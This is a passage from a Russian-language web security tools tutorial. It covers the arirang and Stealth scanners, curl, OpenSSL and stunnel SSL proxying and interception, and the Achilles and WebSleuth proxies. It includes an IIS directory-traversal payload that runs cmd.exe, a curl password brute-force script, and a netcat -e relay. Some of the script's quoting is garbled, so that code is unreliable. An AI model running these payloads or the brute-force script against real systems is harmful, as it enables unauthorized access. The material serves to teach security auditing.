    Большая часть тестов Stealth опирается на возвращаемые сервером HTTP-коды. Это хорошо, когда вы тестируете имеющиеся скрипты на наличие прорех, но это вовсе не означает, что скрипт уязвим. Большинство прорех viewcode.asp в IIS-файлах зафиксировано последующими заплатками; но Stealth только определяет их наличие и ошибочно принимает положительное решение. Даже если Stealth и может распознать специфические строки в результатах работы теста, немногие тесты могут это сделать. Использование HTTP-кодов возврата не означает, что Stealth может пропустить прореху, но это означает, что он может породить большое количество ошибочных положительных решений о наличии таких прорех.

    Опирающаяся на оконный интерфейс утилита не слишком хорошо взаимодействует с другими. Сложно создать скрипт, который генерирует список Web-серверов или систем с открытым 80 портом, передать этот список на вход Stealth и затем разобрать выходной файл. Средства, выполняемые из командной строки, с другой стороны, могут быть встроены в конструкции программных циклов, и программными конвейерами передавать данные средствам разбора результатов, которые вы предпочитаете. Помните, как просто вы манипулировали выводом от whisker с помощью утилит tee и grep?

    Stealth не поддерживает SSL-соединение. Это просто преодолеть. В разделе "Многоцелевые средства" мы увидим, как SSL-прокси легко решает эту проблему.

    Twwwscan/Arirang

    Twwwscan и arirang - близнецы. Twwwscan - Windows-сканер, с полностью графическим интерфейсом. Arirang построен на основе прототипа из Berkeley Software Distribution (BSD) и использует такое же, как twwwscan, рабочее ядро, тот же формат базы данных.

    Реализация: компиляция исходных текстов

    В отличие от .

    Процесс инсталляции похож на многие другие программы из коллекции портов. Прежде всего, убедитесь, что ваша коллекция портов актуальна (внесены последние изменения), а затем соберите исполняемые коды arirang.

    $ cd /usr/ports/security/arirang
    $ cvs up -Pad
    $ make
    $ make install

    Наберите arirang в командной строке, и справка по использованию программы сможет поприветствовать вас.

    Запуск Arirang. Запуск Arirang следует принципу простоты. Программа разработана как быстрый, качественно работающий сканер уязвимостей. Поддержка прокси, SSL и средств обхода IDL были принесены в жертву скорости и аккуратности работы. Запустив arirang с набором правил сканирования по умолчанию, можно увидеть вывод, похожий на информацию, выдаваемую whisker.

    $ arirang -G -h www.victim.com

    Параметр -G указывает на необходимость использования информации из заголовка тестируемого Web-сервера для определения типа сервера и используемой операционной системы. Вместо этого вы можете задать параметр -o, чтобы запросить netcraft-тип сервера и его версию. По умолчанию arirang, сканирует 80 порт, но воспользовавшись параметром -p, вы можете сканировать другой порт. Помните, по аналогии со Stealth, если вы используете 443 порт, arirang может это делать, но не поддерживает SSL-соединение.

    Примечание. , собирает информацию о Web-серверах и сортирует эти данные в соответствии с базовой операционной системой и ПО Web-сервера. Эта база данных, возможно, достаточно полная, но он также опирается на информацию, полученную из заголовка, передаваемого тестируемым сервером, и результаты finger -тестирования с использованием сканеров типа nmap.

    Вы также можете запустить arirang со списком Web-серверов, используя параметр f.

    $ arirang -G -f hosts.txt

    Arirang также предоставляет возможность сканировать интервал IP-адресов с помощью параметра -s (start) и -e (end).

    $ arirang -G -s 192.168.17.2 -e 192.168.17.245

    Параметр -P (верхний регистр) позволяет ускорить работу программы, особенно в случае использования параметра -f или сканирования интервала IP-адресов. Параметр -P управляет количеством одновременно выполняемых процессов. Сканирование уязвимостей не слишком интенсивный с точки зрения загрузки процессора процесс, но он опирается на установление сетевых соединений. Запуск нескольких процессов ведет к уменьшению общего времени сканирования.

    $ arirang -G -f hosts.txt -P 20

    Реализация: создание новых правил

    Описываемый сканер уязвимостей - один из тех, которые можно легко и быстро обновлять вручную. Arirang содержит около 18 баз сканирования, хранимых в файлах с расширением *.uxe. По умолчанию положение этих баз данных определяется в момент компиляции программы. В OpenBSD, *.uxe файлы размещаются в директории /usr/local/share/arirang.

    Отдельные правила определяются параметром -r. Ниже показано, как проверить вашу сеть на наличие червя Code Red или его потенциальных целей.

    $ arirang -G -s 192.168.0.1 -e 192.168.3.255 \
    > -P 20 -r /usr/local/share/arirang/codered.uxe

    На первый взгляд, правила arirang могут показаться сложными для понимания, но все они следуют простой схеме. Рассмотрим несколько правил для примера.

    200 OK- HEAD :/index.html.bak^Backup index.html file;
      Remove backup and test files 
        from the web document root;
    403- GET :/admin/^/admin/ directory;;
    200 OK- HEAD :/include/^/include/ directory;Disable directory listings;
    200 OK- GET :/msadc/..%255c..%255c..%255c../winnt/system32/cmd.exe?
     /c+dir^IIS Superfluous Decode;MS01-026;

    Правила разделяются на семь полей, при этом первое поле не обязательно. В таблице 8.3 описываются составные части правила для arirang.

    "Правила сканирования" arirang
    Поле Описание
    Receive code Код получения [OOB | PEEK | ALL] (Необязательный.) Arirang может обработать сообщение Out-Of-Band (OOB) или Peek (залезть) в его содержимое. Это редко используется, но включено, чтобы средство поддерживало любой тип проверки уязвимости. ALL используется для ожидания ответа с сервера. Несколько проверок вынуждают сервер зависать или не возвращать никаких данных, включая заголовки.
    Response code Код ответа Обычно это числовой ответ с Web-сервера. 404 означает - не найдено, а 200 означает ОК, что подтверждает существование файла. Заметьте, что arirang требует от вас представлять 200 как 200 ОК. Другие коды ответов могут быть числовыми, т.е. 403. Это не обязательно должно быть кодом ответа HTTP, но может быть строкой длиной до 50 байтов (символов), чтобы искать в ней ответ HTML.
    --> Разделитель между кодом ответа и методом запроса.
    HTTP request method Метод запроса HTTP Любой метод запроса HTTP, обозначенный как HTTP/1.0 или HTTP/1.1 RFC. GET, HEAD, и POST используются большую часть времени, но arirang поддерживает такую технику как TRACE и OPTIONS. Метод OPTIONS показывает, какие возможности WebDAV поддерживает сервер.
    :<URI> Файл для проверки. Arirang также поддерживает строку запроса URI, т.е. login.asp? user=test>pass=test. Заставьте правило обратиться к определенному порту с помощью синтаксиса ::<port><URL>. Например, ::8080/ admin/docs/default.cfg запускает на порте 8080. Все другие опции остаются такими же.
    ^<explanation> Короткое описание уязвимости.
    ;<information;> Дальнейшее объяснение уязвимости, ссылка на совет или информацию по отладке.

    Поясняющие и информационные поля позволяют вам осуществлять вывод в сокращенной или расширенной форме.

    Многоцелевые средства

    Описываемые ниже инструментальные средства - это рабочие лошадки, используемые для осуществления соединений поверх HTTP или HTTPS. Соответственно, они не производят поиск уязвимостей или тестирование безопасности систем, но их функциональность может послужить основой для расширения возможностей сканеров уязвимости, обеспечивая поддержку SSL-трафика, или шифрование с целью защиты от прослушивания.

    Curl

    В то время как Netcat называют суперутилитой для сети, curl можно назвать суперутилитой для протоколов. Curl - это утилита командной строки, которая может поддерживать DICT, File, FTP, Gopher, HTTP, HTTPS, LDAP и Telnet. Она также поддерживает HTTP-прокси. Поскольку эта лекции сосредоточена на средствах Web-аудита, мы ограничимся протоколами HTTP и HTTPS.

    Реализация

    Для соединения с Web-сайтом задайте в командной строке URL

    $ curl https://www.victim.com

    Автоматизированный скрипт, который просматривает Web-сайт или осуществляет подбор паролей, в лучшем виде демонстрирует мощь программы curl. В таблице 8.4 представлены некоторые наиболее часто употребляемые параметры программы.

    Наиболее употребляемые параметры Curl
    Опция Описание
    -H/--header Устанавливает заголовок со стороны клиента. Используйте заголовок HTTP, чтобы имитировать несколько типов соединений.
    User-Agent: Mozilla/4.0. Имитирует конкретный броузер. 
    Referer: http://localhost/admin. Обходит слабую авторизацию, 
    которая проверяет страницу ссылок.
    Basic Auth: xxxxx. Задает имя пользователя и пароль.
    Host: localhost. Специфицирует виртуальные хосты
    -b/--cookie -c/--cookie-jar -b использует файл, который содержит cookies, чтобы послать их на сервер. Например, -b cookie.txt включает содержимое cookie.txt во все запросы HTTP. Cookies также могут быть специфицированы в командной строке в форме -b ASPSESSIONID=INEIGNJCNDEECMNPCPOEEMNC. -c использует файл, который хранит cookies так, как они заданы сервером. Например, -c cookies.txt держит каждый cookie с сервера. Cookies важны для обхождения сессий формальной идентификации и обмана.
    -d/--data Предоставляет данные по запросу POST. Это включает данные формы или любые другие данные, генерированные Web-приложением. Например, чтобы задать поле формы для страницы логина, используйте -d login=arbogothpasswd=p4ssw0rd. Эта опция полезна для написания сценариев подбора пароля. Ее реальное преимущество в том, что запросы делаются с POST, что значительно сложнее обмануть с помощью средства типа Netcat.
    -G/--get Изменяет метод POST так, что он использует GET. Применяется только, когда вы специфицируете опцию -d.
    -u/--user -U/--proxy-user Задает имя пользователя и пароль, использованные для базовой идентификации или proxy. Чтобы получить доступ к сайту с базовой идентификацией, используйте -u user:password. Чтобы получить доступ к защищенному паролем proxy, используйте U user: password. Это не имеет смысла, если опция -X не задана.
    --url Устанавливает URL на выборку. Это не обязательный параметр, но вносит ясность, когда используется много опций командной строки. Например, -url https://www.victim .com/admin/menu.php?menu=adduser. Curl дает быструю оптимизацию, когда множественные URL задаются в командной строке, потому что он пытается установить устойчивые соединения. Это означает, что все запросы будут производиться поверх первоначального соединения, вместо установки нового соединения для каждого запроса.
    -x/--proxy Задает HTTP proxy. Например, -x http://intraweb:80/.
    -K/--config Задает файл конфигурации, который включает последовательные опции командной строки. Например, -K www.victim.com.curl.

    Пример из жизни. Угадай пароль!

    Итак, мы очертили несколько полезных опций, которые предлагает curl. Но, по-прежнему, сделать можно не слишком много. Однако сила curl заключена в его применимости к любой ситуации Web (или другому протоколу). Он упрощает написание сценариев. Perl, Python и C располагают библиотеками, которые помогают в соединениях HTTP и манипуляции URL, но требуют множества поддерживающих библиотек и больших знаний. Это не значит, что Perl не может сделать того, что может curl - curl проще. Это новое изобретение колеса, которое поднимает планку для других средств.

    Следующий сценарий демонстрирует, как использовать curl в качестве настроенного средства для грубого угадывания паролей на Web-сайте. Этот Web-сайт использует форму идентификации в запросе POST. Процесс регистрации далее усложняется значением cookie, которое должно быть передано на сервер, когда пользователь регистрируется, и которое модифицируется, если пароль правильный.

    #!/bin/sh
    # brute_script.sh
    # Use curl and a password file to guess passwords in form-based
    # authentication. 2002 M. Shema
    if [ -z $1 ]; then
            echo -e "\n\tUsage: $0 password file"
            exit 1;
    fi
    PASSLIST='/bin/cat $1'
    USERNAME=administrator
    # change the COOKIE as necessary
    COOKIE="MC1=V=3LV=20013HASH=17C9GUID=4A4FC917B47F4D6996A7357D96;"
    CMD="/usr/bin/curl \
        -b $COOKIE \
        -d user=$USERNAME \
        -c cookies.txt \
        --url http://localhost/admin/login.php"
    for PASS in $PASSLIST; do
        # specify Headers on this line to work around inclusion of spaces
        '$CMD \
            -H 'User-Agent: Mozilla/4.0' \
            -H 'Host: localhost' \
            -d passwd=$PASS'
        # upon a successful login, the site changes the user's cookie value,
        # but we don't know what the new value is
        RES='grep -v $COOKIE cookies.txt'
        if [ -n '$RES' ]; then
            echo -e "found $RES with $USER : $PASS\n";
            exit 0;
        fi
    done

    Мы находим словарь распространенных паролей и затем запускаем сценарий на нашей цели. Если повезет, то мы найдем пароль администратора. Если нет, то перейдем к следующему пользователю.

    OpenSSL

    Любая Web-атака, которая осуществляется поверх 80 порта, может также быть произведена поверх порта 443, используемого по умолчанию протоколом SSL. Большинство утилит, программ взлома и скриптов используют 80 порт, чтобы уклониться от потерь, связанных с программами шифрования и поддержки сертификатов. OpenSSL -прокси позволяет перенаправить обычный HTTP-трафик через SSL-соединение с исследуемым сервером.

    Реализация

    Модуль OpenSSL обладает наиболее подходящим набором функциональностей, большую часть которых мы не будем использовать. Если вы наберете в командной строке openssl без параметров, вы сможете попасть в псевдоинтерпретатор OpenSSL.

    $ openssl
    OpenSSL

    Очевидно, что OpenSSL имеет больше функций, чем нам необходимо для настройки прокси. Нас интересует SSL/TLS-клиент и параметр s_client. Вы не сможете получить дополнительную информацию, набрав s_client -h, но ее можно почерпнуть из страниц описания ( man pages ). Теперь мы можем соединиться напрямую с SSL-сервером при помощи команды s_client. Параметр -quiet уменьшит объем информации об ошибках.

    $ openssl s_client -quiet -connect www.victim.com:443
    depth=0 /C=fr/ST=idf/L=paris/Email=webmaster@victim.com
    verify error:num=18:self-signed certificate
    verify return:1
    depth=0 /C=fr/ST=idf/L=paris/Email=webmaster@victim.com
    verify error:num=18:self-signed certificate
    verify return:1
    HEAD / HTTP/1.0
    Date: Tue, 26 Feb 2002 05:44:54 GMT
    Server: Apache/1.3.19 (Unix)
    Content-Length: 2187
    Connection: close
    Content-Type: text/html

    Когда мы вводим строку HEAD/HTTP/1.0, сервер возвращает информацию из заголовка. Это означает, что SSL-соединение установлено успешно. Строки, предшествующие команде HEAD показывают сертификационную информацию и статус. Она включает в себя характерное имя (DN для энтузиастов LDP-протокола) и адрес электронной почты персоны, создавшей сертификат. OpenSSL также показывает, что сертификат является самоподписанным - т.е. он не подтверждается и не генерируется третьей стороной, уполномоченной поддерживать службу сертификации. В большинстве случаев мы игнорируем эти ошибки, поскольку можем установить SSL-соединение.

    Примечание. В реальной электронной торговле проверка сертификата сервера необычайно важна. Сертификационный домен должен всегда входить в домен, URL которого он защищает, он не может быть в списке отмены и не может быть ограничен по времени действия.

    Теперь мы можем сохранять ввод, перенаправив запрос HEAD на вход команде s_client.

    $ echo -e "HEAD / HTTP/1.0\n\n" | \
    > openssl s_client -quiet -connect www.victim.com:443

    Теперь мы находимся в шаге от того, чтобы сделать запрос к HTTPS-серверу, но это не решает проблемы использования утилиты вроде arirang для сканирования SSL-сервера. Чтобы сделать это, необходимо запустить команду s_client с прокси. В предыдущем примере s_client соединялся с SSL-сервером, посылал HTTP-запрос, принимал HTTP-ответ и затем соединение закрывалось. Arirang или Stealth могут осуществлять более 6000 запросов. Очевидно, что нам требуется несколько более существенная автоматизация.

    Программа inetd для Unix (и Cygwin ) решает эту проблему. Демон inetd выполняется в системе и прослушивает заданные TCP- и UDP-порты. Как только другой хост посылает запрос на соединение на один из прослушиваемых портов, inetd выполняет быструю проверку и затем пересылает правильный запрос на соединение другому демону. Например, большинство FTP-серверов для Unix работает с использованием демона inetd. Файл /etc/inetd.conf содержит строки, определяющие для inetd, как обрабатывать FTP-запрос.

    # /etc/inetd.conf example content
    ftp stream   tcp nowait   root   /usr/libexec/ftpd   ftp -US

    Первая колонка, в данном случае ftp, представляет номер порта, который прослушивает служба. Значение ftp можно заменить на 21 - порт FTP по умолчанию, и все останется по-прежнему. Как это может помочь нам настроить SSL-прокси? Мы всего лишь создадим новый сервис, который будет прослушивать TCP-порт по нашему выбору. Затем, вместо вызова FTP-демона, мы вызовем команду s_client.

    # /etc/inetd.conf SSL proxy example content
    80  stream      tcp nowait      root    /home/istari/ssl_proxy.sh

    Файл /home/istari/ssl_proxy.sh содержит две строки.

    #!/bin/sh
    openssl s_client -quiet -connect www.victim.com:443 2 /dev/null
    Примечание. Установка SSL-прокси на сервере, обращенном в интернет, может иметь неожиданные негативные последствия. Всегда ограничивайте доступ к SSL-прокси с использованием файлов /etc/hosts.allow и /etc/hosts.deny, или их эквивалентов для Unix.

    После установки соединения с локальным хостом (localhost) по 80 порту, соединение перенаправляется поверх SSL на адрес www.victim.com по порту 443. Любое соединение, которое вы установите с выбранным сервером, будет осуществляться с локальным хостом (или IP-адресом прокси-сервера). Таким образом, выполняются все правила сканирования .

    $ arirang -G -h localhost -p80 -r unix.uxe

    Принципиальное ограничение этого приема состоит в том, что сканирование всегда осуществляется для одного хоста. SSL-прокси - не настоящий прокси, в том смысле, что он осуществляет трансляцию протокола от произвольного хоста к произвольному хосту (конфигурация "многие ко многим"). Вместо этого он передает запрос от любого хоста к заданному хосту (конфигурация "многие к одному"). Следовательно, вы не можете сканировать интервал IP-адресов через SSL-прокси, но, по крайней мере, вы можете тестировать сервер, у которого запущена только HTTP-служба. Конечно, если вы используете whisker, то можно не беспокоиться.

    Пример из жизни. Альтернатива Inetd

    Inetd не единственный метод запуска службы. У него есть преимущество, т.к. он способен применять TCPWrappers, метод, позволяющий или запрещающий доступ к порту на основе IP-адреса. Не все операционные системы используют inetd, а операционная система Windows определенно не имеет данной функции.

    Cygwin. Если ваши друзья по-прежнему дразнят вас, потому что вы пользуетесь какой-либо версией Windows, не мучайтесь. В среде Cygwin есть демон inetd и программа OpenSSL, которая позволяет запускать SSL proxy. Cygwin жалуется на использование 80 в качестве имени службы. Файл /etc/inetd.conf должен содержать следующее.

    # /etc/inetd.conf Cygwin SSL proxy example
    www stream tcp nowait root /home/ssl_proxy.sh ssl_proxy.sh

    Затем вы можете запустить inetd в командной строке. Мы обычно запускаем его с -d, отладочной опцией, чтобы все работало корректно.

    $ /usr/sbin/inetd.exe -d /etc/inetd.conf

    Теперь proxy ожидает на порте 80 и направляет соединения к цели, обозначенной в сценарии ssl_proxy.sh.

    Инсталляция inetd в качестве родной для Windows службы требует больше манипуляций. Есть два метода создания этой службы. Предпосылкой для каждого является переменная среды Windows PATH, содержащая C:\cygwin\bin или любое место, где находится директория cygwin\bin. Inetd может установить себя как службу.

    $ /usr/sbin/inetd.exe -install-as-service /etc/inetd.conf

    Чтобы удалить его, используйте опцию -remove-as-service.

    Встроенные утилиты Cygwin также инсталлируют и запускают службу inetd.

    cygrunsrv -I inetd -d "CYGWIN inetd" -p /usr/sbin/inetd -a -d
        -e CYGWIN=ntsec
    
    cygrunsrv -S inetd

    Опция -R удаляет службу inetd.

    Xinetd. Xinetd добавляет еще немного к демону inetd. Он улучшает регистрацию, управление соединениями и администрирование. В системах, которые поддерживают xinetd, дефиниции служб обычно находятся в директории /etc/xinetd.d. Создайте службу SSL proxy, используя синтаксис xinetd.

    #default: off
    #description: OpenSSL s_client proxy to www.victim.com
    service 80
    {
        socket_type = stream
        wait = no
        protocol = tcp
        user = root
        server = /root/ssl_proxy.sh
        only_from = 127.0.0.1
        disable = no
    }

    Как всегда, опасайтесь запускать службы с root-привилегиями и службы, к которым должны иметь доступ только вы.

    Netcat (sort of). Для одноразовых соединений, таких как запуск компилированного взлома, который обычно работает на порте 80, Netcat экономит день. Возможно, вы не сможете запустить сканирование whisker корректно, но одноразовое соединение будет успешно достигнуто. У Whisker есть преимущество работы с системами Unix и Windows, обеспеченное, если установлен комплект OpenSSL. Netcat pseudo-proxy подходит для одной команды:

    $ nc -w -L -p 80 -e "openssl s_client -quiet \
    -connect www.victim.com:443"

    Опция -L ("слушай внимательнее") дает инструкцию Netcat продолжать прослушивание, даже если клиент закрыл соединение. Опция -e содержит команду s_client для соединения с целью. Затем присоединяйтесь к порту 80 ожидающего хоста, чтобы получить доступ к SSL-серверу вашей цели (например, www.victim.com ).

    Для этого вам придется использовать оригинальную версию Netcat. Например, на OpenBSD опция -L заменена на -k, а опция -e не имеет смысла, поскольку Unix поддерживает конвейеры (|).

    Команда OpenBSD выглядит следующим образом.

    $ nc -w -k -l 80 | openssl s_client -quiet \
    -connect www.victim.com:443

    Конечно, не имеет смысла добавлять дополнительный шаг использования Netcat. У вас должно получиться провести отчет о взломе непосредственно в команду s_client, пропустив шаг. Затем снова могут быть сценарии, в которых строгий сетевой контроль или спутанная среда операционных систем действительно делает это полезным.

    Stunnel

    OpenSSL - великолепное средство для осуществления одностороннего SSL-взаимодействия. К сожалению, вы можете работать в ситуации, когда клиент посылает HTTPS-соединение и не может перейти к HTTP. В этом случае, вам необходимо средство, которое может расшифровывать SSL или находиться между клиентом и сервером и отслеживать трафик. Stunnel обеспечивает эти возможности.

    Вы можете также использовать Stunnel, чтобы обернуть SSL поверх любого сетевого сервиса. Например, вы можете настроить stunnel для управления соединениями (Internet Message Access Protocol) для обеспечения шифрованного доступа к электронной почте (вам также может понадобиться stunnel для управления клиентом).

    Реализация

    SSL-взаимодействие основывается на сертификатах. Первое, что вам нужно, это правильный PEM-файл, который содержит ключи шифрования для использования в процессе взаимодействия. Stunnel поставляется с файлом по умолчанию, который называется stunnel.pem, но вы можете создать и свой собственный с использованием команды openssl.

    $ openssl req -new -out custom.pem -keyout custom.pem -nodes -x509 \
    > -days 365
    ...follow prompts...
    $ openssl dhparam 512 >> custom.pem

    Теперь файл custom.pem готов к использованию. Stunnel ищет по умолчанию файл stunnel.pem, или вы можете использовать свой собственный с помощью параметра -p.

    Замечания о компиляции под Cygwin. Вам может понадобиться отредактировать файл stunnel.c для компиляции stunnel под Cygwin. Закомментируйте следующие строки, которые располагаются в районе 391 строки.

    /*          if(setgroups(1, gr_list)) {
                    sockerror("setgroups");
                    exit(1);
            } */

    Смысл в том, что вы не сможете использовать параметр -g для определения альтернативной группы привилегий, с которыми выполняется stunnel, но вам не понравится ситуация, в которой это могло бы понадобиться.

    Обезьяна в центре поля. Как быть, если вам необходимо просматривать данные, передаваемые поверх SSL-соединения? Вам может понадобиться проверять данные, передаваемые между клиентом, основанным на Web-приложении, и сервером, но клиент передает HTTPS, и сервер принимает только HTTPS. В таком случае, вам понадобится заморозить stunnel между клиентом и сервером, переведя соединение в HTTP, чтобы иметь возможность его читать, а затем вернуть трафик обратно в HTTPS, чтобы сервер мог его получить. Для этого понадобится две команды stunnel.

    Запустите stunnel в обычном режиме демона ( -d ). В таком режиме stunnel принимает SSL-трафик и выдает простой текст. Параметр -f заставляет stunnel оставаться в диалоговом режиме. Обычно это используется для просмотра информации о соединении и чтобы убедиться, что программа работает. Stunnel - не программа с конечной точкой. Другими словами, вы должны задать порт, который будет прослушиваться ( -d <port> ), а также хост и порт, на которые будет перенаправляться трафик ( -r <host:port> ). Ниже приведена команда, по которой прослушивается SSL-трафик по 443 порту и перенаправляется в виде не SSL-трафика на порт 80. Если вы всего лишь хотите изображать обезьяну в центре поля, параметр -r адресует к другой команде stunnel.

    $ stunnel -p custom.pem -f -d 443 -r host:80
    2002.04.15 16:56:16 LOG5[464:1916]: Using '80' as tcpwrapper service name
    2002.04.15 16:56:16 LOG5[464:1916]: stunnel 3.22 on
      x86-pc-mingw32-gnu WIN32 with OpenSSL
     0.9.6c 21 dec 2001
    2002.04.15 16:56:16 LOG5[464:1916]: FD_SETSIZE=4096, file ulimit=-1
      (unlimited) - 2000 clients allowed

    Другая команда stunnel точно такая же, но использует клиентский режим ( -c ) для получения трафика в виде простого текста и вывода трафика, зашифрованного с помощью SSL. В данном примере, команда прослушивает порт 80 и затем посылает трафик на конечный порт 443.

    $ stunnel -p custom.pem -f -d 80 -r www.victim.com:443 -c
    2002.04.15 17:00:10 LOG5[1916:1416]: Using '80' as tcpwrapper service name
    2002.04.15 17:00:10 LOG5[1916:1416]: stunnel 3.22 on
      x86-pc-mingw32-gnu WIN32 with OpenSSL
      0.9.6c 21 dec 2001
    2002.04.15 17:00:10 LOG5[1916:1416]: FD_SETSIZE=4096, file ulimit=-1
      (unlimited) - 2000 clients allowed

    Если мы запустим эти команды на разных компьютерах (или между компьютером и сессией VMware ), то сможем прослеживать трафик, который переадресовывается через 80 порт.

    SSL for a Service. Stunnel обеспечивает ту же функциональность, что и inetd, с дополнительным SSL-шифрованием. Stunnel поддерживает TCP-оболочку, что означает, что он проверяет файлы /etc/hosts.allow и /etc/hosts.deny сразу после запуска. Это дает возможность применить шифрование для любой службы. Например, IMAP - протокол для удаленного доступа к почтовому ящику. Недостаток IMAP состоит в том, что может быть перехвачен пароль.

    Примерно так выглядит конфигурирование службы IMAP, когда она определяется с помощью файла /etc/ inetd.conf.

    imap    stream  tcp nowait  root    /usr/sbin/tcpd  imapd

    Имя службы imap (TCP порт 143); демон TCPWrappers выполняет демон IMAP.

    Теперь посмотрим аналогичную конфигурацию под stunnel. Следующая команда может быть выполнена из командной строки, а не как часть файла /etc/inetd.conf.

    # stunnel -p imapd.pem -d 143 -l /usr/sbin/imapd.exe -N imapd
    2002.04.15 17:08:38 LOG5[1820:1680]: Using 'imapd' as 
      tcpwrapper service name
    2002.04.15 17:08:38 LOG5[1820:1680]: stunnel 3.22 on
      x86-pc-mingw32-gnu WIN32 with OpenSSL
      0.9.6c 21 dec 2001
    2002.04.15 17:08:38 LOG5[1820:1680]: FD_SETSIZE=4096, file ulimit=-1
    (unlimited) - 2000 clients allowed

    Вы уже знакомы с параметром -d, но здесь мы вводим параметры -l и -N. Параметр -l запускает специальную программу для входящего соединения. В данном случае, мы запускаем демона imapd. Параметр -N применяется специально для Cygwin-систем, чтобы подставить имя службы для проверки TCPWrapper. Имя службы можно найти в файле /etc/services, и оно должно присутствовать в файлах /etc/hosts.allow и /etc/hosts.deny.

    Проверка приложений

    До сих пор мы знакомились с программами, которые исследовали Web-сервер. Делая это, мы пропустили прорехи, которые могут иметься в Web-приложениях. Этот класс уязвимостей возникает из-за программирования без учета безопасности и ошибок в настройках взаимодействия между Web-серверами и базами данных. Мы не можем разъяснить природу нарушений безопасности Web-приложений, методологию и приемы поиска уязвимостей в рамках отдельной лекции. Можно лишь показать средства, необходимые для проверки Web-приложений. Немногие из этих программ распространены среди сообщества специалистов по безопасности, они скорее заслуживают быть частью средств отладки Web-приложений.

    Achilles

    В соответствии с названием, Achilles помогает протестировать Web-приложение, работая в режиме прокси с кнопкой "пауза". Обычный прокси располагается между Web-броузером и Web-сервером, незаметно перенаправляя запросы и ответы между ними. Achilles работает точно так же, но он добавляет возможность, которая позволяет вам модифицировать содержимое налету. Achilles позволяет манипулировать значениями cookie, запросами POST, скрытыми полями и всеми другими аспектами HTTP-транзакции - и все это поверх SSL.

    Реализация

    Поскольку это работа прокси, показаны основные моменты конфигурации для запуска Achilles в режиме прокси. Щелкнув на кнопке "пуск" (треугольник), можно запустить прокси, а щелкнув на кнопке "стоп" (квадратик) остановить его - в точности, как при управлении звукозаписывающим устройством.

    (рис 8.7) Основные настройки прокси для Achilles

    Хорошей мыслью будет оставить задействованным параметр Ignore .jpg/.gif. Изменение файлов изображений редко используется для обхода системы безопасности Web-приложения, а число запросов от обычной Web-страницы раздражающе велико.

    Затем настройте свой Web-броузер для работы через IP-адрес прокси (если это тот же компьютер 127.0.0.1) и соответствующий порт (5000 по умолчанию), который прослушивает Achilles. Обычно для этого Achilles просто запускается на вашей локальной машине. Любой Web-броузер, который поддерживает HTTP-прокси, от Lynx до Galeon, могут использовать Achilles. Ограничения для Windows-платформы состоит в том, что Achilles поставляется в виде исполняемого модуля Win32.

    В режиме перехвата вы можете просматривать Web-сайт или несколько Web-сайтов, ничего не замечая. Параметр Log To File позволяет сохранять результаты сессии в файл. Это подходит для исследования Web-приложения. Журнал содержит каждую ссылку, которую вы посетили, включая вспомогательные файлы, такие как JavaScript, (*.js) и другие включаемые файлы (*.inc), которые в обычном режиме не видны в URL. Другое преимущество состоит в том, что у вас фактически есть копия HTML-страниц Web-сайта. Эти тексты могут содержать скрытые поля форм, значения cookie, переменные управления сессией и другую информацию о приложении. Приемы анализа Web-приложений лежат несколько в стороне от темы этой лекции, но для выполнения такой работы совершенно необходимо иметь Achilles.

    В режиме активного перехвата вы можете видеть запросы, порождаемые броузером (Intercept Client Data), и ответы, посылаемые сервером (Intercept Server Data (text)). Перехват клиентской информации позволяет вам манипулировать GET- и POST- запросами и значениями, передаваемыми с переменными cookie. Эта возможность используется для обхода схем аутентификации и авторизации, и чтобы выдавать себя за другого пользователя. Текстовое окно Achilles представляет собой простой текстовый редактор.

    Использование Achilles в таком виде, возможно, выглядит несколько абстрактно. Эта программа относится к категории, о которой говорят "лучше один раз увидеть, чем сто раз услышать". Запустите Achilles, измените настройки прокси для своего броузера, убедитесь в том, что вы выбрали режим Intercept Client Data, и просмотрите ваш любимый Web-сайт. Вы будете удивлены тем, что происходит за сценой, не меньше, чем при проверке своего банковского счета.

    Проблемы перехвата. Achilles перехватывает только текстовые данные. Сайт, который использует компоненты ActiveX, также известные как COM-объекты (Component Object Model) или CAB-файлы (cabinet), сложнее для перехвата, поскольку такие файлы передаются как двоичные данные, которые Achilles игнорирует. Achilles продолжает поддерживать корректное HTTP-соединение, но вы не можете манипулировать данными. Другие двоичные объекты: загружаемые ZIP- или PDF-файлы, также будут транслированы, но не будут показаны в текстовом окне.

    Web-сайты, которые используют SSL, зачастую порождают ошибки при использовании Achilles. Проблемный сайт с 20 объектами на странице (такими как изображения, таблицы стилей, файлы JavaScript и HTML) могут порождать 20 ошибок вида "Client failed SSL connection". Это не слишком большая беда, но это означает, что вам придется 20 раз нажать OK, чтобы закрыть окно сообщения об ошибке.

    Некоторые сайты приводят к неожиданному "падению" Achilles. Не слишком хорошее правило - просматривать сайты, чтобы определить, какой из них приведет к нарушениям в работе программы. Можем рекомендовать зайти на сайт, использующий прокси, а затем запустить прокси и изменить установки броузера, как только вы дойдете до той части приложения, которую следует проверять. К сожалению, этот прием не срабатывает по отношению к сайтам, которые используют строгий контроль за сессией. Achilles поддерживает HTTP (базовую аутентификацию), а Web-приложения, которые используют NTLM Authentication (поддерживаемую IIS), не поддерживают работу через Achilles.

    WebSleuth

    WebSleuth помещает функциональность прокси непосредственно в броузер. Программа представляет собой набор процедур на Visual Basic, работающих вокруг Internet Explorer. Очевидно, что это привязывает вас к платформе WIN32, но утилита стоит того. Она позволяет провести пошаговый просмотр сайта, одновременно проверяя переменные cookies и HTML-код, делая по пути некоторые заметки.

    Реализация

    На рис 8.8 представлен внешний вид интерфейса WebSleuth, на котором доступно несколько параметров для настройки. Рельефные кнопки Go, Back, Stop, Fwrd и Edit Source вызываются щелчком левой кнопкой мыши. Правая кнопка мыши отвечает за появление меню для каждой из плоских кнопок Properties, Toolbox, Plugins и Favorites.

    (рис 8.8) Основные настройки прокси для Achilles

    У кнопки меню Toolbox те же самые функции. Особой "фишкой" является функция HTML Transformations. Она удаляет скрипты, которые отключают многие программы проверки ввода, отображает скрытые поля, которые контролируют переменные сессии, сервера и клиента. Функция Generate Report создает великолепный список текущих переменных cookie, ссылок, строк запросов, форм, ссылок на скрипты, комментариев и META-тегов.

    Кнопка меню Properties отображает информацию о текущей странице. Обычно эта информация используется для просмотра установленных переменных cookie, инспектирования строк запросов или ревизии доступных на странице ссылок.

    Финальные замечания. Функции Analyze, размещенные на закладке Options:, не работают поверх SSL. Эти функции открывают окно, которое содержит HTTP-запросы и их аргументы. В этот момент вы можете изменить данные для изменения запроса POST. К сожалению, это не работает!

    Wget

